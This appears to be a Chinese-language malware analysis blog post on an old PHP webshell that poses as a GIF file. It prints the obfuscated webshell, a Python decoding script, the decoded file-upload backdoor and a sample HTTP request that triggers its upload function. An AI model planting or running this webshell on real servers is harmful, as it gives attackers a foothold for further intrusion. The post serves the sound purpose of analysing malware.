HASH: 14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361
最近收到一个木马样本,闲来无事分析一下。
1 样本分析
1.1 沙箱信息
virus total检出率37/61,基本信息:
不是新马是老马,最早可以追溯到2013年。
1.2 功能分析
xmqdS.php内容如下:
GIF89GHZ
<?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9
/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJ
DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5
sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=")))); ?>
此乃webshell,使用了GIF的文件头伪装成GIF,以便文件上传时绕过文件头审查。而且很明显其源码内容多次编码过。
我们尝试还原该木马源码。执行str_rot13
后得到:
ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=
下面写脚本还原,这里主要用到base64和zlib的相关函数:
import base64
import zlib
decoded_data = base64.b64decode("ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=")
inflated_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)
print(inflated_data)
结果输出:
b'echo \'<title>Uploader by ghost-dz</title>\';\r\necho php_uname();\r\necho \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\r\necho \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';\r\nif( $_POST[\'_upl\'] == "Upload" ) {\r\n\tif(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'Upload ok :d !!!\'; }\r\n\telse { echo \'Upload Fail !!!\'; }\r\n}'
格式化一下看得更清楚:
<title>Uploader by ghost-dz</title>
php_uname();
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo 'Upload ok :d !!!';
}
else {
echo 'Upload Fail !!!';
}
}
分析如下:
给定的 PHP 脚本的作用是创建一个简单的文件上传功能。
echo '<title>Uploader by ghost-dz</title>';
: 输出一个带有标题的 HTML 标签,用于显示页面标题。echo php_uname();
: 输出服务器的操作系统信息。echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
: 输出一个包含文件上传表单的 HTML 表单标签。echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
: 输出一个文件选择输入框和上传按钮,用于选择和上传文件。if( $_POST['_upl'] == "Upload" ) {
: 检查提交的表单是否包含名为 "_upl" 的值为 "Upload" 的字段。if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload ok :d !!!'; }
: 如果上传操作成功(通过copy
函数将临时文件复制到目标位置),则输出成功的消息。else { echo 'Upload Fail !!!'; }
: 如果上传操作失败,则输出失败的消息。
总体而言,该脚本用于显示一个简单的文件上传页面,用户可以选择文件并将其上传到服务器上。
根据以上内容,可以构造出合适的请求触发木马的上传功能,下面是一个针对该木马的上传请求体示例:
POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="yourfile.txt"
Content-Type: application/octet-stream
[Binary file data goes here]
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="_upl"
Upload
----WebKitFormBoundary7MA4YWxkTrZu0gW--
2 总结
该PHP网马伪装成GIF,上传后访问,可以构造一个文件上传界面,便于上传其他木马进行后续攻击,也就是俗称的“先锋马”。这也是我第一次碰见先锋马,还是有点意思的hh。